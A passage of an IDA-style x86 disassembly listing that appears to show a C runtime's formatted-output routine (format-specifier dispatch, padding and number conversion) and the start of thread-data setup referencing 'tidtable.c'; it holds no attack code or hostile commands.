loc_41EDE1: ; CODE XREF: sub_41EA90+B9j
; DATA XREF: .text:0041F6D0o
movsx edx, byte ptr [ebp+var_28]
mov [ebp+var_2A0], edx
mov eax, [ebp+var_2A0]
sub eax, 43h
mov [ebp+var_2A0], eax
cmp [ebp+var_2A0], 35h
ja loc_41F4C7
mov edx, [ebp+var_2A0]
xor ecx, ecx
mov cl, ds:byte_41F77C[edx]
jmp ds:off_41F740[ecx*4]
loc_41EE1C: ; DATA XREF: .text:off_41F740o
mov eax, [ebp+var_4]
and eax, 830h
test eax, eax
jnz short loc_41EE31
mov ecx, [ebp+var_4]
or ch, 8
mov [ebp+var_4], ecx
loc_41EE31: ; CODE XREF: sub_41EA90+385j
; sub_41EA90+396j
; DATA XREF: ...
mov edx, [ebp+var_4]
and edx, 810h
test edx, edx
jz short loc_41EE77
lea eax, [ebp+arg_8]
push eax
call sub_41F910
add esp, 4
mov [ebp+var_14], ax
mov cx, [ebp+var_14]
push ecx
lea edx, [ebp+var_228]
push edx
call sub_427210
add esp, 8
mov [ebp+var_24], eax
cmp [ebp+var_24], 0
jge short loc_41EE75
mov [ebp+var_23C], 1
loc_41EE75: ; CODE XREF: sub_41EA90+3D9j
jmp short loc_41EE9D
; ---------------------------------------------------------------------------
loc_41EE77: ; CODE XREF: sub_41EA90+3ACj
lea eax, [ebp+arg_8]
push eax
call sub_41F8D0
add esp, 4
mov [ebp+var_248], ax
mov cl, byte ptr [ebp+var_248]
mov [ebp+var_228], cl
mov [ebp+var_24], 1
loc_41EE9D: ; CODE XREF: sub_41EA90:loc_41EE75j
lea edx, [ebp+var_228]
mov [ebp+var_20], edx
jmp loc_41F4C7
; ---------------------------------------------------------------------------
loc_41EEAB: ; CODE XREF: sub_41EA90+385j
; DATA XREF: .text:0041F750o
lea eax, [ebp+arg_8]
push eax
call sub_41F8D0
add esp, 4
mov [ebp+var_24C], eax
cmp [ebp+var_24C], 0
jz short loc_41EED2
mov ecx, [ebp+var_24C]
cmp dword ptr [ecx+4], 0
jnz short loc_41EEEC
loc_41EED2: ; CODE XREF: sub_41EA90+434j
mov edx, off_442F64
mov [ebp+var_20], edx
mov eax, [ebp+var_20]
push eax
call sub_418E70
add esp, 4
mov [ebp+var_24], eax
jmp short loc_41EF3B
; ---------------------------------------------------------------------------
loc_41EEEC: ; CODE XREF: sub_41EA90+440j
mov ecx, [ebp+var_4]
and ecx, 800h
test ecx, ecx
jz short loc_41EF1C
mov edx, [ebp+var_24C]
mov eax, [edx+4]
mov [ebp+var_20], eax
mov ecx, [ebp+var_24C]
movsx edx, word ptr [ecx]
shr edx, 1
mov [ebp+var_24], edx
mov [ebp+var_1C], 1
jmp short loc_41EF3B
; ---------------------------------------------------------------------------
loc_41EF1C: ; CODE XREF: sub_41EA90+467j
mov [ebp+var_1C], 0
mov eax, [ebp+var_24C]
mov ecx, [eax+4]
mov [ebp+var_20], ecx
mov edx, [ebp+var_24C]
movsx eax, word ptr [edx]
mov [ebp+var_24], eax
loc_41EF3B: ; CODE XREF: sub_41EA90+45Aj
; sub_41EA90+48Aj
jmp loc_41F4C7
; ---------------------------------------------------------------------------
loc_41EF40: ; CODE XREF: sub_41EA90+385j
; DATA XREF: .text:0041F748o
mov ecx, [ebp+var_4]
and ecx, 830h
test ecx, ecx
jnz short loc_41EF56
mov edx, [ebp+var_4]
or dh, 8
mov [ebp+var_4], edx
loc_41EF56: ; CODE XREF: sub_41EA90+385j
; sub_41EA90+4BBj
; DATA XREF: ...
cmp [ebp+var_234], 0FFFFFFFFh
jnz short loc_41EF6B
mov [ebp+var_2A4], 7FFFFFFFh
jmp short loc_41EF77
; ---------------------------------------------------------------------------
loc_41EF6B: ; CODE XREF: sub_41EA90+4CDj
mov eax, [ebp+var_234]
mov [ebp+var_2A4], eax
loc_41EF77: ; CODE XREF: sub_41EA90+4D9j
mov ecx, [ebp+var_2A4]
mov [ebp+var_258], ecx
lea edx, [ebp+arg_8]
push edx
call sub_41F8D0
add esp, 4
mov [ebp+var_20], eax
mov eax, [ebp+var_4]
and eax, 810h
test eax, eax
jz short loc_41F006
cmp [ebp+var_20], 0
jnz short loc_41EFAD
mov ecx, off_442F68
mov [ebp+var_20], ecx
loc_41EFAD: ; CODE XREF: sub_41EA90+512j
mov [ebp+var_1C], 1
mov edx, [ebp+var_20]
mov [ebp+var_254], edx
loc_41EFBD: ; CODE XREF: sub_41EA90+564j
mov eax, [ebp+var_258]
mov ecx, [ebp+var_258]
sub ecx, 1
mov [ebp+var_258], ecx
test eax, eax
jz short loc_41EFF6
mov edx, [ebp+var_254]
xor eax, eax
mov ax, [edx]
test eax, eax
jz short loc_41EFF6
mov ecx, [ebp+var_254]
add ecx, 2
mov [ebp+var_254], ecx
jmp short loc_41EFBD
; ---------------------------------------------------------------------------
loc_41EFF6: ; CODE XREF: sub_41EA90+544j
; sub_41EA90+553j
mov edx, [ebp+var_254]
sub edx, [ebp+var_20]
sar edx, 1
mov [ebp+var_24], edx
jmp short loc_41F060
; ---------------------------------------------------------------------------
loc_41F006: ; CODE XREF: sub_41EA90+50Cj
cmp [ebp+var_20], 0
jnz short loc_41F014
mov eax, off_442F64
mov [ebp+var_20], eax
loc_41F014: ; CODE XREF: sub_41EA90+57Aj
mov ecx, [ebp+var_20]
mov [ebp+var_250], ecx
loc_41F01D: ; CODE XREF: sub_41EA90+5C2j
mov edx, [ebp+var_258]
mov eax, [ebp+var_258]
sub eax, 1
mov [ebp+var_258], eax
test edx, edx
jz short loc_41F054
mov ecx, [ebp+var_250]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_41F054
mov eax, [ebp+var_250]
add eax, 1
mov [ebp+var_250], eax
jmp short loc_41F01D
; ---------------------------------------------------------------------------
loc_41F054: ; CODE XREF: sub_41EA90+5A4j
; sub_41EA90+5B1j
mov ecx, [ebp+var_250]
sub ecx, [ebp+var_20]
mov [ebp+var_24], ecx
loc_41F060: ; CODE XREF: sub_41EA90+574j
jmp loc_41F4C7
; ---------------------------------------------------------------------------
loc_41F065: ; CODE XREF: sub_41EA90+385j
; DATA XREF: .text:0041F760o
lea edx, [ebp+arg_8]
push edx
call sub_41F8D0
add esp, 4
mov [ebp+var_25C], eax
mov eax, [ebp+var_4]
and eax, 20h
test eax, eax
jz short loc_41F093
mov ecx, [ebp+var_25C]
mov dx, word ptr [ebp+var_22C]
mov [ecx], dx
jmp short loc_41F0A1
; ---------------------------------------------------------------------------
loc_41F093: ; CODE XREF: sub_41EA90+5EFj
mov eax, [ebp+var_25C]
mov ecx, [ebp+var_22C]
mov [eax], ecx
loc_41F0A1: ; CODE XREF: sub_41EA90+601j
mov [ebp+var_23C], 1
jmp loc_41F4C7
; ---------------------------------------------------------------------------
loc_41F0B0: ; CODE XREF: sub_41EA90+385j
; DATA XREF: .text:0041F744o
mov [ebp+var_8], 1
mov dl, byte ptr [ebp+var_28]
add dl, 20h
mov byte ptr [ebp+var_28], dl
loc_41F0C0: ; CODE XREF: sub_41EA90+385j
; DATA XREF: .text:0041F75Co
mov eax, [ebp+var_4]
or al, 40h
mov [ebp+var_4], eax
lea ecx, [ebp+var_228]
mov [ebp+var_20], ecx
cmp [ebp+var_234], 0
jge short loc_41F0E6
mov [ebp+var_234], 6
jmp short loc_41F102
; ---------------------------------------------------------------------------
loc_41F0E6: ; CODE XREF: sub_41EA90+648j
cmp [ebp+var_234], 0
jnz short loc_41F102
movsx edx, byte ptr [ebp+var_28]
cmp edx, 67h
jnz short loc_41F102
mov [ebp+var_234], 1
loc_41F102: ; CODE XREF: sub_41EA90+654j
; sub_41EA90+65Dj ...
mov eax, [ebp+arg_8]
add eax, 8
mov [ebp+arg_8], eax
mov ecx, [ebp+arg_8]
sub ecx, 8
mov edx, [ecx]
mov eax, [ecx+4]
mov [ebp+var_264], edx
mov [ebp+var_260], eax
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+var_234]
push edx
movsx eax, byte ptr [ebp+var_28]
push eax
mov ecx, [ebp+var_20]
push ecx
lea edx, [ebp+var_264]
push edx
call off_443200
add esp, 14h
mov eax, [ebp+var_4]
and eax, 80h
test eax, eax
jz short loc_41F168
cmp [ebp+var_234], 0
jnz short loc_41F168
mov ecx, [ebp+var_20]
push ecx
call off_44320C
add esp, 4
loc_41F168: ; CODE XREF: sub_41EA90+6C0j
; sub_41EA90+6C9j
movsx edx, byte ptr [ebp+var_28]
cmp edx, 67h
jnz short loc_41F18A
mov eax, [ebp+var_4]
and eax, 80h
test eax, eax
jnz short loc_41F18A
mov ecx, [ebp+var_20]
push ecx
call off_443204
add esp, 4
loc_41F18A: ; CODE XREF: sub_41EA90+6DFj
; sub_41EA90+6EBj
mov edx, [ebp+var_20]
movsx eax, byte ptr [edx]
cmp eax, 2Dh
jnz short loc_41F1A7
mov ecx, [ebp+var_4]
or ch, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
loc_41F1A7: ; CODE XREF: sub_41EA90+703j
mov eax, [ebp+var_20]
push eax
call sub_418E70
add esp, 4
mov [ebp+var_24], eax
jmp loc_41F4C7
; ---------------------------------------------------------------------------
loc_41F1BB: ; CODE XREF: sub_41EA90+385j
; DATA XREF: .text:0041F758o
mov ecx, [ebp+var_4]
or ecx, 40h
mov [ebp+var_4], ecx
mov [ebp+var_238], 0Ah
jmp loc_41F255
; ---------------------------------------------------------------------------
loc_41F1D3: ; CODE XREF: sub_41EA90+385j
; DATA XREF: .text:0041F770o
mov [ebp+var_238], 0Ah
jmp short loc_41F255
; ---------------------------------------------------------------------------
loc_41F1DF: ; CODE XREF: sub_41EA90+385j
; DATA XREF: .text:0041F768o
mov [ebp+var_234], 8
loc_41F1E9: ; CODE XREF: sub_41EA90+385j
; DATA XREF: .text:0041F74Co
mov [ebp+var_230], 7
jmp short loc_41F1FF
; ---------------------------------------------------------------------------
loc_41F1F5: ; CODE XREF: sub_41EA90+385j
; DATA XREF: .text:0041F774o
mov [ebp+var_230], 27h
loc_41F1FF: ; CODE XREF: sub_41EA90+763j
mov [ebp+var_238], 10h
mov edx, [ebp+var_4]
and edx, 80h
test edx, edx
jz short loc_41F233
mov [ebp+var_240], 30h
mov eax, [ebp+var_230]
add eax, 51h
mov [ebp+var_23F], al
mov [ebp+var_10], 2
loc_41F233: ; CODE XREF: sub_41EA90+784j
jmp short loc_41F255
; ---------------------------------------------------------------------------
loc_41F235: ; CODE XREF: sub_41EA90+385j
; DATA XREF: .text:0041F764o
mov [ebp+var_238], 8
mov ecx, [ebp+var_4]
and ecx, 80h
test ecx, ecx
jz short loc_41F255
mov edx, [ebp+var_4]
or dh, 2
mov [ebp+var_4], edx
loc_41F255: ; CODE XREF: sub_41EA90+73Ej
; sub_41EA90+74Dj ...
mov eax, [ebp+var_4]
and eax, 8000h
test eax, eax
jz short loc_41F27E
lea ecx, [ebp+arg_8]
push ecx
call sub_41F8F0
add esp, 4
mov [ebp+var_278], eax
mov [ebp+var_274], edx
jmp loc_41F30F
; ---------------------------------------------------------------------------
loc_41F27E: ; CODE XREF: sub_41EA90+7CFj
mov edx, [ebp+var_4]
and edx, 20h
test edx, edx
jz short loc_41F2D0
mov eax, [ebp+var_4]
and eax, 40h
test eax, eax
jz short loc_41F2B0
lea ecx, [ebp+arg_8]
push ecx
call sub_41F8D0
add esp, 4
movsx eax, ax
cdq
mov [ebp+var_278], eax
mov [ebp+var_274], edx
jmp short loc_41F2CE
; ---------------------------------------------------------------------------
loc_41F2B0: ; CODE XREF: sub_41EA90+800j
lea edx, [ebp+arg_8]
push edx
call sub_41F8D0
add esp, 4
and eax, 0FFFFh
cdq
mov [ebp+var_278], eax
mov [ebp+var_274], edx
loc_41F2CE: ; CODE XREF: sub_41EA90+81Ej
jmp short loc_41F30F
; ---------------------------------------------------------------------------
loc_41F2D0: ; CODE XREF: sub_41EA90+7F6j
mov eax, [ebp+var_4]
and eax, 40h
test eax, eax
jz short loc_41F2F5
lea ecx, [ebp+arg_8]
push ecx
call sub_41F8D0
add esp, 4
cdq
mov [ebp+var_278], eax
mov [ebp+var_274], edx
jmp short loc_41F30F
; ---------------------------------------------------------------------------
loc_41F2F5: ; CODE XREF: sub_41EA90+848j
lea edx, [ebp+arg_8]
push edx
call sub_41F8D0
add esp, 4
xor ecx, ecx
mov [ebp+var_278], eax
mov [ebp+var_274], ecx
loc_41F30F: ; CODE XREF: sub_41EA90+7E9j
; sub_41EA90:loc_41F2CEj ...
mov edx, [ebp+var_4]
and edx, 40h
test edx, edx
jz short loc_41F357
cmp [ebp+var_274], 0
jg short loc_41F357
jl short loc_41F32D
cmp [ebp+var_278], 0
jnb short loc_41F357
loc_41F32D: ; CODE XREF: sub_41EA90+892j
mov eax, [ebp+var_278]
neg eax
mov ecx, [ebp+var_274]
adc ecx, 0
neg ecx
mov [ebp+var_26C], eax
mov [ebp+var_268], ecx
mov edx, [ebp+var_4]
or dh, 1
mov [ebp+var_4], edx
jmp short loc_41F36F
; ---------------------------------------------------------------------------
loc_41F357: ; CODE XREF: sub_41EA90+887j
; sub_41EA90+890j ...
mov eax, [ebp+var_278]
mov [ebp+var_26C], eax
mov ecx, [ebp+var_274]
mov [ebp+var_268], ecx
loc_41F36F: ; CODE XREF: sub_41EA90+8C5j
mov edx, [ebp+var_4]
and edx, 8000h
test edx, edx
jnz short loc_41F397
mov eax, [ebp+var_26C]
mov ecx, [ebp+var_268]
and ecx, 0
mov [ebp+var_26C], eax
mov [ebp+var_268], ecx
loc_41F397: ; CODE XREF: sub_41EA90+8EAj
cmp [ebp+var_234], 0
jge short loc_41F3AC
mov [ebp+var_234], 1
jmp short loc_41F3B5
; ---------------------------------------------------------------------------
loc_41F3AC: ; CODE XREF: sub_41EA90+90Ej
mov edx, [ebp+var_4]
and edx, 0FFFFFFF7h
mov [ebp+var_4], edx
loc_41F3B5: ; CODE XREF: sub_41EA90+91Aj
mov eax, [ebp+var_26C]
or eax, [ebp+var_268]
test eax, eax
jnz short loc_41F3CC
mov [ebp+var_10], 0
loc_41F3CC: ; CODE XREF: sub_41EA90+933j
lea ecx, [ebp+var_29]
mov [ebp+var_20], ecx
loc_41F3D2: ; CODE XREF: sub_41EA90+9EBj
mov edx, [ebp+var_234]
mov eax, [ebp+var_234]
sub eax, 1
mov [ebp+var_234], eax
test edx, edx
jg short loc_41F3FF
mov ecx, [ebp+var_26C]
or ecx, [ebp+var_268]
test ecx, ecx
jz loc_41F480
loc_41F3FF: ; CODE XREF: sub_41EA90+959j
mov eax, [ebp+var_238]
cdq
push edx
push eax
mov edx, [ebp+var_268]
push edx
mov eax, [ebp+var_26C]
push eax
call sub_41A4B0
add eax, 30h
mov [ebp+var_270], eax
mov eax, [ebp+var_238]
cdq
push edx
push eax
mov ecx, [ebp+var_268]
push ecx
mov edx, [ebp+var_26C]
push edx
call sub_41A440
mov [ebp+var_26C], eax
mov [ebp+var_268], edx
cmp [ebp+var_270], 39h
jle short loc_41F467
mov eax, [ebp+var_270]
add eax, [ebp+var_230]
mov [ebp+var_270], eax
loc_41F467: ; CODE XREF: sub_41EA90+9C3j
mov ecx, [ebp+var_20]
mov dl, byte ptr [ebp+var_270]
mov [ecx], dl
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
jmp loc_41F3D2
; ---------------------------------------------------------------------------
loc_41F480: ; CODE XREF: sub_41EA90+969j
lea ecx, [ebp+var_29]
sub ecx, [ebp+var_20]
mov [ebp+var_24], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+var_4]
and eax, 200h
test eax, eax
jz short loc_41F4C7
mov ecx, [ebp+var_20]
movsx edx, byte ptr [ecx]
cmp edx, 30h
jnz short loc_41F4AF
cmp [ebp+var_24], 0
jnz short loc_41F4C7
loc_41F4AF: ; CODE XREF: sub_41EA90+A17j
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+var_20]
mov byte ptr [ecx], 30h
mov edx, [ebp+var_24]
add edx, 1
mov [ebp+var_24], edx
loc_41F4C7: ; CODE XREF: sub_41EA90+371j
; sub_41EA90+385j ...
cmp [ebp+var_23C], 0
jnz loc_41F6A2
mov eax, [ebp+var_4]
and eax, 40h
test eax, eax
jz short loc_41F52D
mov ecx, [ebp+var_4]
and ecx, 100h
test ecx, ecx
jz short loc_41F4FB
mov [ebp+var_240], 2Dh
mov [ebp+var_10], 1
jmp short loc_41F52D
; ---------------------------------------------------------------------------
loc_41F4FB: ; CODE XREF: sub_41EA90+A59j
mov edx, [ebp+var_4]
and edx, 1
test edx, edx
jz short loc_41F515
mov [ebp+var_240], 2Bh
mov [ebp+var_10], 1
jmp short loc_41F52D
; ---------------------------------------------------------------------------
loc_41F515: ; CODE XREF: sub_41EA90+A73j
mov eax, [ebp+var_4]
and eax, 2
test eax, eax
jz short loc_41F52D
mov [ebp+var_240], 20h
mov [ebp+var_10], 1
loc_41F52D: ; CODE XREF: sub_41EA90+A4Cj
; sub_41EA90+A69j ...
mov ecx, [ebp+var_244]
sub ecx, [ebp+var_24]
sub ecx, [ebp+var_10]
mov [ebp+var_27C], ecx
mov edx, [ebp+var_4]
and edx, 0Ch
test edx, edx
jnz short loc_41F565
lea eax, [ebp+var_22C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_27C]
push edx
push 20h
call sub_41F840
add esp, 10h
loc_41F565: ; CODE XREF: sub_41EA90+AB7j
lea eax, [ebp+var_22C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_10]
push edx
lea eax, [ebp+var_240]
push eax
call sub_41F880
add esp, 10h
mov ecx, [ebp+var_4]
and ecx, 8
test ecx, ecx
jz short loc_41F5B3
mov edx, [ebp+var_4]
and edx, 4
test edx, edx
jnz short loc_41F5B3
lea eax, [ebp+var_22C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_27C]
push edx
push 30h
call sub_41F840
add esp, 10h
loc_41F5B3: ; CODE XREF: sub_41EA90+AFBj
; sub_41EA90+B05j
cmp [ebp+var_1C], 0
jz loc_41F661
cmp [ebp+var_24], 0
jle loc_41F661
mov eax, [ebp+var_20]
mov [ebp+var_280], eax
mov ecx, [ebp+var_24]
mov [ebp+var_284], ecx
loc_41F5D9: ; CODE XREF: sub_41EA90+BCAj
mov edx, [ebp+var_284]
mov eax, [ebp+var_284]
sub eax, 1
mov [ebp+var_284], eax
test edx, edx
jz short loc_41F65F
mov ecx, [ebp+var_280]
mov dx, [ecx]
mov [ebp+var_2A6], dx
mov ax, [ebp+var_2A6]
push eax
lea ecx, [ebp+var_288]
push ecx
mov edx, [ebp+var_280]
add edx, 2
mov [ebp+var_280], edx
call sub_427210
add esp, 8
mov [ebp+var_28C], eax
cmp [ebp+var_28C], 0
jg short loc_41F639
jmp short loc_41F65F
; ---------------------------------------------------------------------------
loc_41F639: ; CODE XREF: sub_41EA90+BA5j
lea eax, [ebp+var_22C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_28C]
push edx
lea eax, [ebp+var_288]
push eax
call sub_41F880
add esp, 10h
jmp loc_41F5D9
; ---------------------------------------------------------------------------
loc_41F65F: ; CODE XREF: sub_41EA90+B60j
; sub_41EA90+BA7j
jmp short loc_41F67C
; ---------------------------------------------------------------------------
loc_41F661: ; CODE XREF: sub_41EA90+B27j
; sub_41EA90+B31j
lea ecx, [ebp+var_22C]
push ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_24]
push eax
mov ecx, [ebp+var_20]
push ecx
call sub_41F880
add esp, 10h
loc_41F67C: ; CODE XREF: sub_41EA90:loc_41F65Fj
mov edx, [ebp+var_4]
and edx, 4
test edx, edx
jz short loc_41F6A2
lea eax, [ebp+var_22C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_27C]
push edx
push 20h
call sub_41F840
add esp, 10h
loc_41F6A2: ; CODE XREF: sub_41EA90+ADj
; sub_41EA90+155j ...
jmp loc_41EAB4
; ---------------------------------------------------------------------------
loc_41F6A7: ; CODE XREF: sub_41EA90+3Bj
; sub_41EA90+48j
mov eax, [ebp+var_22C]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41EA90 endp
; ---------------------------------------------------------------------------
off_41F6B4 dd offset loc_41EB50 ; DATA XREF: sub_41EA90+B9r
dd offset loc_41EBEA
dd offset loc_41EC2C
dd offset loc_41EC9B
dd offset loc_41ECF3
dd offset loc_41ED02
dd offset loc_41ED4E
dd offset loc_41EDE1
off_41F6D4 dd offset loc_41EC78 ; DATA XREF: sub_41EA90+1CCr
dd offset loc_41EC83
dd offset loc_41EC6E
dd offset loc_41EC63
dd offset loc_41EC8E
dd offset loc_41EC96
byte_41F6EC db 0 ; DATA XREF: sub_41EA90+1C6r
db 2 dup(5), 1
dd 5050505h, 2050505h, 5050305h
db 4
off_41F6FD dd offset loc_41ED90 ; DATA XREF: sub_41EA90+2EEr
dd offset loc_41EDC9
dd offset loc_41ED85
dd offset loc_41EDD3
dd offset loc_41EDDC
byte_41F711 db 0 ; DATA XREF: sub_41EA90+2E8r
dw 404h
dd 7 dup(4040404h), 4040401h, 4040402h, 4040404h, 3040404h
off_41F740 dd offset loc_41EE1C ; DATA XREF: sub_41EA90+385r
dd offset loc_41F0B0
dd offset loc_41EF40
dd offset loc_41F1E9
dd offset loc_41EEAB
dd offset loc_41EE31
dd offset loc_41F1BB
dd offset loc_41F0C0
dd offset loc_41F065
dd offset loc_41F235
dd offset loc_41F1DF
dd offset loc_41EF56
dd offset loc_41F1D3
dd offset loc_41F1F5
dd offset loc_41F4C7
byte_41F77C db 0 ; DATA XREF: sub_41EA90+37Fr
db 0Eh, 1, 0Eh
dd 0E0E0E01h, 2 dup(0E0E0E0Eh), 0E0E0E02h, 40E030Eh, 2 dup(0E0E0E0Eh)
dd 7070605h, 0E060E07h, 80E0E0Eh, 0E0E0A09h, 0E0C0E0Bh
dd 0CCCC0D0Eh, 3 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F7C0 proc near ; CODE XREF: sub_41EA90+F5p
; sub_41EA90+14Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
mov ecx, [eax+4]
sub ecx, 1
mov edx, [ebp+arg_4]
mov [edx+4], ecx
mov eax, [ebp+arg_4]
cmp dword ptr [eax+4], 0
jl short loc_41F802
mov ecx, [ebp+arg_4]
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
movsx ecx, byte ptr [ebp+arg_0]
and ecx, 0FFh
mov [ebp+var_4], ecx
mov edx, [ebp+arg_4]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_4]
mov [ecx], eax
jmp short loc_41F815
; ---------------------------------------------------------------------------
loc_41F802: ; CODE XREF: sub_41F7C0+1Aj
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_41E810
add esp, 8
mov [ebp+var_4], eax
loc_41F815: ; CODE XREF: sub_41F7C0+40j
cmp [ebp+var_4], 0FFFFFFFFh
jnz short loc_41F826
mov ecx, [ebp+arg_8]
mov dword ptr [ecx], 0FFFFFFFFh
jmp short loc_41F833
; ---------------------------------------------------------------------------
loc_41F826: ; CODE XREF: sub_41F7C0+59j
mov edx, [ebp+arg_8]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_8]
mov [ecx], eax
loc_41F833: ; CODE XREF: sub_41F7C0+64j
mov esp, ebp
pop ebp
retn
sub_41F7C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F840 proc near ; CODE XREF: sub_41EA90+ACDp
; sub_41EA90+B1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
loc_41F843: ; CODE XREF: sub_41F840:loc_41F871j
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_4]
sub ecx, 1
mov [ebp+arg_4], ecx
test eax, eax
jle short loc_41F873
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41F7C0
add esp, 0Ch
mov edx, [ebp+arg_C]
cmp dword ptr [edx], 0FFFFFFFFh
jnz short loc_41F871
jmp short loc_41F873
; ---------------------------------------------------------------------------
loc_41F871: ; CODE XREF: sub_41F840+2Dj
jmp short loc_41F843
; ---------------------------------------------------------------------------
loc_41F873: ; CODE XREF: sub_41F840+11j
; sub_41F840+2Fj
pop ebp
retn
sub_41F840 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F880 proc near ; CODE XREF: sub_41EA90+AEBp
; sub_41EA90+BC2p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
loc_41F884: ; CODE XREF: sub_41F880:loc_41F8C4j
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_4]
sub ecx, 1
mov [ebp+arg_4], ecx
test eax, eax
jle short loc_41F8C6
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
call sub_41F7C0
add esp, 0Ch
mov edx, [ebp+arg_C]
cmp dword ptr [edx], 0FFFFFFFFh
jnz short loc_41F8C4
jmp short loc_41F8C6
; ---------------------------------------------------------------------------
loc_41F8C4: ; CODE XREF: sub_41F880+40j
jmp short loc_41F884
; ---------------------------------------------------------------------------
loc_41F8C6: ; CODE XREF: sub_41F880+12j
; sub_41F880+42j
mov esp, ebp
pop ebp
retn
sub_41F880 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F8D0 proc near ; CODE XREF: sub_41EA90+218p
; sub_41EA90+27Fp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 4
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov eax, [ecx-4]
pop ebp
retn
sub_41F8D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F8F0 proc near ; CODE XREF: sub_41EA90+7D5p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 8
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
sub ecx, 8
mov eax, [ecx]
mov edx, [ecx+4]
pop ebp
retn
sub_41F8F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F910 proc near ; CODE XREF: sub_41EA90+3B2p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 4
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ax, [ecx-4]
pop ebp
retn
sub_41F910 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F930 proc near ; CODE XREF: sub_41B970:loc_41BA04p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
call sub_41BBB0
call ds:dword_494460
mov dword_442F6C, eax
cmp dword_442F6C, 0FFFFFFFFh
jnz short loc_41F951
xor eax, eax
jmp short loc_41F9AE
; ---------------------------------------------------------------------------
loc_41F951: ; CODE XREF: sub_41F930+1Bj
push 61h
push offset aTidtable_c ; "tidtable.c"
push 2
push 74h
push 1
call sub_416E40
add esp, 14h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_41F984
mov eax, [ebp+var_4]
push eax
mov ecx, dword_442F6C
push ecx
call ds:dword_49445C
test eax, eax
jnz short loc_41F988
loc_41F984: ; CODE XREF: sub_41F930+3Dj
xor eax, eax
jmp short loc_41F9AE
; ---------------------------------------------------------------------------
loc_41F988: ; CODE XREF: sub_41F930+52j
mov edx, [ebp+var_4]
push edx
call sub_41F9F0
add esp, 4
call ds:dword_494458
mov ecx, [ebp+var_4]
mov [ecx], eax
mov edx, [ebp+var_4]
mov dword ptr [edx+4], 0FFFFFFFFh
mov eax, 1
loc_41F9AE: ; CODE XREF: sub_41F930+1Fj
; sub_41F930+56j
mov esp, ebp
pop ebp
retn
sub_41F930 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call sub_41BBF0
cmp dword_442F6C, 0FFFFFFFFh
jz short loc_41F9E7
mov eax, dword_442F6C
push eax
call ds:dword_494464
mov dword_442F6C, 0FFFFFFFFh
loc_41F9E7: ; CODE XREF: .text:0041F9CFj
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F9F0 proc near ; CODE XREF: sub_41F930+5Cp
; sub_41FA10+5Ep
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov dword ptr [eax+50h], offset dword_4435D0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+14h], 1
